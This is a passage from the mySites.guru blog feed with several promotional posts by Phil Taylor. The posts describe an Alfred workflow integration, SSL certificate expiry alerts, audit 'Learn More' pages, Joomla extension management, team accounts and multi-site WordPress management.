&lt;li&gt;&lt;a href=&quot;https://www.wpbeginner.com/plugins/how-to-bulk-install-your-favorite-plugins-in-wordpress/&quot;&gt;How to Bulk Install Your Favorite Plugins in WordPress&lt;/a&gt; - WPBeginner&apos;s guide to bulk installing plugins on a single WordPress site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/cli/commands/plugin/install/&quot;&gt;wp plugin install - WP-CLI Command&lt;/a&gt; - Official WP-CLI documentation for installing plugins via the command line&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Installing_an_extension&quot;&gt;Installing an Extension - Joomla! Documentation&lt;/a&gt; - Official Joomla guide to installing extensions on a single site&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>extensions</category><category>plugins</category><category>bulk actions</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-8.03nRPytu.webp" length="0" type="image/webp"/></item><item><title>Integrate mySites.guru to Alfred Workflow on Mac</title><link>https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/</link><guid isPermaLink="true">https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/</guid><description>How to integrate mySites.guru with Alfred on macOS so you can jump straight to any connected site&apos;s management page from your keyboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/mySites.alfredworkflow&quot;&gt;install our Alfred Workflow&lt;/a&gt; to jump straight to any connected site&apos;s management page from your keyboard.&lt;/p&gt;
&lt;h2&gt;What is Alfred?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.alfredapp.com&quot;&gt;Alfred&lt;/a&gt; is a macOS launcher that gives you fast access to apps, files, web searches, and custom actions via keyboard shortcuts. If you spend a lot of time at your Mac, it&apos;s worth trying - the free version is genuinely useful on its own.&lt;/p&gt;
&lt;p&gt;I have mine mapped to CMD+SPACE.&lt;/p&gt;
&lt;h2&gt;What is an Alfred Workflow?&lt;/h2&gt;
&lt;p&gt;A workflow is essentially a plugin for Alfred - it adds custom commands and actions. You need the &lt;a href=&quot;https://www.alfredapp.com/powerpack/&quot;&gt;Alfred PowerPack&lt;/a&gt; to use workflows, which costs £34 (or £59 for a lifetime licence).&lt;/p&gt;
&lt;p&gt;https://youtu.be/qP0ORBgDHr8&lt;/p&gt;
&lt;h2&gt;How to integrate mySites.guru with Alfred&lt;/h2&gt;
&lt;p&gt;With Alfred and the PowerPack installed, &lt;a href=&quot;https://manage.mysites.guru/mySites.alfredworkflow&quot;&gt;download the workflow&lt;/a&gt; and open it to add it to Alfred. Then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press your Alfred shortcut and type &lt;code&gt;my&lt;/code&gt; followed by a space&lt;/li&gt;
&lt;li&gt;You&apos;ll see a list of mySites.guru menu items to choose from&lt;/li&gt;
&lt;li&gt;Select one and hit Enter - your browser opens that page&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do you connect your account for full site search?&lt;/h2&gt;
&lt;p&gt;You can also enable public pages in your mySites.guru account to get a token (a string like &lt;code&gt;smk4md33zf223efmg6y3bgbbo7mmeu63&lt;/code&gt; - that one&apos;s fake).&lt;/p&gt;
&lt;p&gt;Do that on the &lt;a href=&quot;https://manage.mysites.guru/en/sites/screenshots&quot;&gt;Public Site Screenshots page&lt;/a&gt;, then edit the workflow in Alfred and paste your token where it says &lt;code&gt;ENTER_TOKEN_HERE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With the token configured, you can search your actual sites by name and jump straight to the Manage Site page. For a site called mySites.guru, it&apos;s just:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CMD+SPACE 
my 
SPACE 
mys 
ENTER
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it. The &lt;code&gt;mys&lt;/code&gt; filters the site list down to the right result.&lt;/p&gt;
&lt;p&gt;Prefer Raycast over Alfred? We built a &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/&quot;&gt;Raycast extension&lt;/a&gt; too.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Productivity integrations are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>alfred</category><category>mac</category><category>productivity</category><category>workflow</category><enclosure url="https://mysites.guru/_astro/Manage-Your-Joomla-Extensions-2-1.BTg41qU0.webp" length="0" type="image/webp"/></item><item><title>Track SSL Certificate Expirations Easily</title><link>https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/</guid><description>mySites.guru checks every site&apos;s SSL certificate issuer, expiry date and full chain validity on every snapshot, alerting you before they expire.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;mySites.guru has checked SSL certificates on every site snapshot &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;since 2012&lt;/a&gt;. It&apos;s one of those features that runs quietly in the background - you only notice it when something goes wrong and it catches the problem before your clients do.&lt;/p&gt;
&lt;p&gt;When we snapshot your Joomla or WordPress site as part of our &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt;, we download the active SSL certificate the same way a browser would. We check the SSL issuer, expiration date, and the full certificate validation chain to make sure all intermediate certificates are also valid.&lt;/p&gt;
&lt;p&gt;SSL has a lot going on under the hood. We check the ciphers in use and the minimum encryption level your server accepts. If your site allows insecure encryption methods, we&apos;ll alert you by email.&lt;/p&gt;
&lt;p&gt;We also distinguish &lt;a href=&quot;https://cpanel.net&quot;&gt;cPanel&lt;/a&gt; and &lt;a href=&quot;https://letsencrypt.org&quot;&gt;Let&apos;s Encrypt SSL Certificates&lt;/a&gt; as these are normally web host provided and auto-renewed without user intervention, these are shown with custom icons on your dashboard.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why are short expiration dates now standard?&lt;/h2&gt;
&lt;p&gt;Certificate lifetimes have been shrinking for years. What used to be a 2-5 year certificate is now often 90 days with Let&apos;s Encrypt. Auto-renewal handles this most of the time, but when it fails, browsers block your site for visitors entirely.&lt;/p&gt;
&lt;p&gt;That&apos;s why mySites.guru shows you an overview of all your SSL certificates sorted by expiration date.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On this screen you can also export the list to CSV file for further offline processing should you wish.&lt;/p&gt;
&lt;h2&gt;How do expiry alerts work?&lt;/h2&gt;
&lt;p&gt;By default, mySites.guru alerts you when a certificate gets within 2 days of expiry. For most sites with auto-renewal that threshold should never trigger - but it&apos;s there as a safety net.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If your renewal process requires more lead time, you can configure how many days in advance you want the alert.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What about Qualys SSL Labs integration?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ssllabs.com/ssltest/index.html&quot;&gt;Qualys SSL Labs&lt;/a&gt; is the standard tool for testing SSL implementation in depth. mySites.guru links directly to it from the Learn More page in the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;SSL Snapshot tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It gives you detailed technical information about your SSL configuration and your web server&apos;s security posture.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;SSL tracking is covered in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>ssl</category><category>monitoring</category><category>security</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/4k-images-copy-4-1024x576.B75WtIlA.webp" length="0" type="image/webp"/></item><item><title>Best Practice for Joomla &amp; WordPress Sites</title><link>https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/</guid><description>Every mySites.guru snapshot and audit check comes with a detailed Learn More page explaining the best practice recommendation, the risk and how to fix it.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every check in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt; and Audit - well over 100 of them - has a &quot;Learn More&quot; page explaining what the check looks for, why it matters, and what to do about it.&lt;/p&gt;
&lt;p&gt;Not everyone will agree with every recommendation we make, and that&apos;s fine. Each check exists for a reason, most of it based on years of involvement with the Joomla project (and more recently WordPress).&lt;/p&gt;
&lt;p&gt;Each &quot;Learn More&quot; page includes most of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our Recommendation&lt;/li&gt;
&lt;li&gt;How the audit checks this setting&lt;/li&gt;
&lt;li&gt;Background Information&lt;/li&gt;
&lt;li&gt;A tool to investigate, or an explanation of why no tool is available&lt;/li&gt;
&lt;li&gt;Further Reading&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;Get Expert Assistance&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To make this concrete, the rest of this post walks through one check: &quot;Logs/tmp Folder Locations Should Exist At Default Locations&quot; for Joomla sites.&lt;/p&gt;
&lt;p&gt;WordPress-specific checks include things like &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;admin bar logo removal&lt;/a&gt;, each with a one-click toggle. Joomla-specific checks work the same way - for example, the new &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-module-versioning/&quot;&gt;Enable Joomla 6.1 module versioning&lt;/a&gt; check flips &lt;code&gt;save_history&lt;/code&gt; on across every connected 6.1 site in a click.&lt;/p&gt;
&lt;p&gt;This check is in the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, and looks like this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can click on the Learn More link to get to that page.&lt;/p&gt;
&lt;h2&gt;The recommendation&lt;/h2&gt;
&lt;p&gt;This block states what we consider the correct best practice, with context explaining why.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example &quot;Our Recommendation&quot; block on the Learn More page&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;How the audit checks this&lt;/h2&gt;
&lt;p&gt;This block explains, in technical and non-technical language how the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;/audit process gets its data for this check.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Background information&lt;/h2&gt;
&lt;p&gt;This block includes any additional background context worth knowing about the issue.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;p&gt;Links to relevant documentation, official Joomla or WordPress resources, or third-party guidance. Where licensing prevents us from reproducing content directly, we link out instead.&lt;/p&gt;
&lt;h2&gt;Tools&lt;/h2&gt;
&lt;p&gt;Usually a direct link to the Investigate Tool, or back to the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt;/Audit tabs if this check has a toggle.&lt;/p&gt;
&lt;h2&gt;Get Expert Assistance&lt;/h2&gt;
&lt;p&gt;If you need help fixing an issue, we offer fixed-fee &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;paid consultancy&lt;/a&gt; to resolve problems identified in a snapshot or audit. Full details and request form at &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>best practice</category><category>joomla</category><category>wordpress</category><category>security</category><enclosure url="https://mysites.guru/_astro/50-1024x576.BDLg8CjG.webp" length="0" type="image/webp"/></item><item><title>Manage all your Joomla Sites Extensions with mySites.guru</title><link>https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/</guid><description>View, search and update every Joomla extension across all your connected sites from a single page in mySites.guru.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Two years ago we were tracking over four million relationships between Joomla sites, extensions and the update sites that are used for updates from the developers, and, we got it wrong. &lt;em&gt;&lt;strong&gt;Our architecture was wrong, and the performance sucked.&lt;/strong&gt;&lt;/em&gt; So we made the decision to remove it then.&lt;/p&gt;
&lt;p&gt;This has now been &lt;strong&gt;completely rewritten&lt;/strong&gt; (Using PHP 7.4 and Symfony 4.4)  for the mySites.guru service and has been re-released to &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;great praise from our long term subscribers&lt;/a&gt;, some of which have been subscribers since 2012!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;(Edit: This is an old article now, we now run on the very latest Symfony framework and the very latest PHP version (8.3.3 at the time of this edit!)&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Want to Update One Extension on Multiple Sites instantly?&lt;/h3&gt;
&lt;p&gt;Watch Tim walk you though it&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h3&gt;So what can I do with mySites.guru to manage my extensions?&lt;/h3&gt;
&lt;p&gt;These are the main headline features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/&quot;&gt;view a complete list of extensions&lt;/a&gt; installed on your portfolio of sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/c116dd35616c46e593169e67634f7bdc&quot;&gt;search for a specific extension&lt;/a&gt; regardless of version number, and see the sites that have that extension installed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/981a7d15f55d3dbd6780645ead34bb8d&quot;&gt;search for a specific version of a specific extension&lt;/a&gt;, and see all the sites that have that specific version installed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can see how many other sites in our database, have those extensions installed too, as a &lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;Top 50 Extensions list&lt;/a&gt;, drawn from live data in our database of paying customers with almost 60,000 sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can filter the &lt;a href=&quot;https://manage.mysites.guru/en/tools/remoteinstall&quot;&gt;Mass Package Installer page&lt;/a&gt;, by all sites with a certain extension installed (Allowing you to push an update to just those sites)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For any site, you can see each and every extension, plugin, template or module (or even library) installed, its version number, links to its developer and their support sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;previously announced&lt;/a&gt;, you can now set ANY EXTENSIONS update stream to automatically provide updates as soon as they are available - &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;fully automated updates of any Joomla extension&lt;/a&gt;. The &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;step-by-step how-to for enabling extension auto-updates safely&lt;/a&gt; covers the backup-first ordering and the rollback step.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/remoteinstall&quot;&gt;Mass Package Installer&lt;/a&gt; to push any Joomla extension, module, plugin, or template to all your sites in one go, or a selection of sites.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see above, each of these features enables you to make wide-ranging and sweeping changes to ALL your sites in one go, or a sub set of those selected sites &lt;strong&gt;making the task of keeping your Joomla extensions up to date a breeze&lt;/strong&gt;. If you&apos;re running a Joomla agency, this pairs naturally with the broader workflow for &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;So what are the Top Ten Extensions used by mySites.guru customers?&lt;/h3&gt;
&lt;p&gt;Well you could login and &lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;click the link&lt;/a&gt;, but here is a snapshot in time image below to give you a rough estimate on 1st December 2019. The list is a pretty obvious list of the major players in Joomla extensions, nothing exciting or different to our expectations really.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;To view the full list of 50, login and navigate to the realtime list.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example overview page of an old extension on old (hackable) sites.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Extension management at scale is a core topic in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-15.BvTJUAU0.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple Sites With Your Whole Team</title><link>https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/</guid><description>Add unlimited team members to your mySites.guru account with per-site and per-feature permissions. No per-seat fees.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you run an agency, you&apos;ve probably been through the dance of sharing logins over Slack or forwarding alert emails to the right person. We added team accounts to mySites.guru so you can stop doing that. If you&apos;re still getting your head around the core workflow, start with the guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - team access is the natural next step once the basics are in place.&lt;/p&gt;
&lt;p&gt;Everyone on your team gets their own login. You pick which sites they can see and which tools they can use - backups only, monitoring only, full access, whatever makes sense. Want to give a client read-only access to just their own site? That works too. For client-facing sites, you can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; and send &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt; so everything looks professionally branded.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;Go to your &lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Account page&lt;/a&gt;, open the &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Your Team tab&lt;/a&gt;, and click &lt;strong&gt;Add Team Member&lt;/strong&gt;. Assign them sites and pick their permissions. They&apos;ll get their own login and can start working right away.&lt;/p&gt;
&lt;h2&gt;How do notifications work?&lt;/h2&gt;
&lt;p&gt;Team members get all notifications by default. They can tweak their own &lt;a href=&quot;https://manage.mysites.guru/en/notifications/&quot;&gt;notification preferences&lt;/a&gt; without affecting yours. Changes anyone makes to site config or monitors apply to the site, not the user, so everyone sees the same thing.&lt;/p&gt;
&lt;h2&gt;How do passkeys and security work?&lt;/h2&gt;
&lt;p&gt;Every team account supports &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkeys&lt;/a&gt; - Face ID, Touch ID, Windows Hello, whatever your device offers. No codes to type, no authenticator app to fumble with, and nothing that can be phished. Your team logs in with a fingerprint or a glance and they&apos;re in.&lt;/p&gt;
&lt;p&gt;Passkeys replace the weakest link in account security (passwords people reuse everywhere) with cryptographic keys tied to their device. If someone on your team is still using &lt;code&gt;password123&lt;/code&gt; for everything, passkeys fix that problem permanently.&lt;/p&gt;
&lt;p&gt;Two Factor Authentication is also available for teams that want a more traditional setup. You can send password resets, disable accounts, or remove someone whenever you need to.&lt;/p&gt;
&lt;p&gt;There are no per-seat fees. Team access is part of every plan - add as many people as you need.&lt;/p&gt;
&lt;p&gt;Need to give your bookkeeper a login without handing over your sites? The &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; is a restricted role that sees invoices and nothing else.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Add Your First Team Member Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team collaboration is a key topic in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;guide to multi-site management&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>teams</category><category>joomla</category><category>wordpress</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/_astro/Bring-your-whole-team-1-1024x512.rWdhJOhl.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple WordPress Sites</title><link>https://mysites.guru/blog/manage-multiple-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-multiple-wordpress-sites/</guid><description>Centralise updates, backups, security audits and one-click logins across all your WordPress sites. One dashboard, unlimited sites, £19.99/month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you&apos;re looking after more than a handful of WordPress sites, you already know the pain. Logging into each one individually to check for updates, run backups, or see if something&apos;s broken. It doesn&apos;t scale, and it gets old fast.&lt;/p&gt;
&lt;p&gt;I built &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; to fix exactly this problem. One dashboard, all your sites, no per-site fees.&lt;/p&gt;
&lt;h2&gt;What is the problem with multiple WordPress sites?&lt;/h2&gt;
&lt;p&gt;A single WordPress site is fine. You log in, update your plugins, check your security, move on. But once you&apos;re managing 10, 50, or 200 sites for clients, that approach falls apart. You end up with browser tabs everywhere, forgotten updates, and security issues you don&apos;t find out about until a client emails you in a panic.&lt;/p&gt;
&lt;p&gt;Most people try to solve this with spreadsheets, bookmarks, or sheer willpower. None of those work long-term.&lt;/p&gt;
&lt;h2&gt;What does mySites.guru do differently?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;mySites.guru dashboard&lt;/a&gt; shows site health, update counts, security alerts and uptime status across every connected site. No more logging into each one.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt; scan every file in your webspace for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacks and backdoors&lt;/a&gt;, not just the obvious stuff. You get &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; when files change or someone logs into an admin panel. This matters because &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;site management goes deeper than updates, backups, and uptime&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Update WordPress core, plugins, and themes&lt;/a&gt; across hundreds of sites at once. You pick what to update, hit go, and get notified when it&apos;s done. You can also &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates&lt;/a&gt; so nothing changes without your approval. The full process for &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - including how to structure your setup from day one - is covered in the dedicated landing page.&lt;/p&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt; using Akeeba Backup or All-In-One Migration. You can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;run backups across thousands of sites&lt;/a&gt; from the dashboard without touching FTP or SSH.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One-click admin login&lt;/a&gt; lets you jump straight into any site&apos;s admin panel without remembering passwords. It&apos;s genuinely the feature people tell me they use most.&lt;/p&gt;
&lt;p&gt;If you&apos;re an agency, &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; let you send branded reports to clients showing what you did, when, and why. Useful for proving your value at invoice time. You can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; with one click for a cleaner, branded admin panel.&lt;/p&gt;
&lt;h2&gt;What best practice checks run on every site?&lt;/h2&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;snapshot and audit tools&lt;/a&gt; run over 100 checks on each site, twice a day. &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security headers&lt;/a&gt;, PHP versions, &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space&lt;/a&gt;, and more. You don&apos;t have to remember to check. It just tells you when something needs attention.&lt;/p&gt;
&lt;p&gt;Claim your &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; and see for yourself.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Does it work with more than just WordPress?&lt;/h2&gt;
&lt;p&gt;mySites.guru also works with Joomla and any PHP-based site. Craft, OctoberCMS, whatever you&apos;re running. If it has PHP, you can connect it. Unlimited sites, one flat monthly price.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Multi-site management is covered comprehensively in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>multi-site management</category><category>agency tools</category><enclosure url="https://mysites.guru/_astro/39.CwEfQbBb.webp" length="0" type="image/webp"/></item><item><title>Manage Your Joomla 4 Sites with mySites.guru</title><link>https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/</guid><description>mySites.guru fully supports Joomla 4 with the same audit, backup, update, and monitoring toolset available for every Joomla version since 1.5.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;This article was written when Joomla 4 first launched. Joomla 4 has since reached end of life. If you&apos;re still running Joomla 4, plan your migration to the latest Joomla version sooner rather than later.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Joomla 4 was released on 17 August 2021 after nine years of development. mySites.guru had full support ready from day one.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Full Joomla version support&lt;/p&gt;
  &lt;p&gt;mySites.guru is compatible with &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;every Joomla version from 1.5.0 onwards&lt;/a&gt; - including Joomla 4, 5, and 6. Even if a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;site has been hacked&lt;/a&gt; and compromised, the audit and monitoring tools still work.&lt;/p&gt;
&lt;/div&gt;
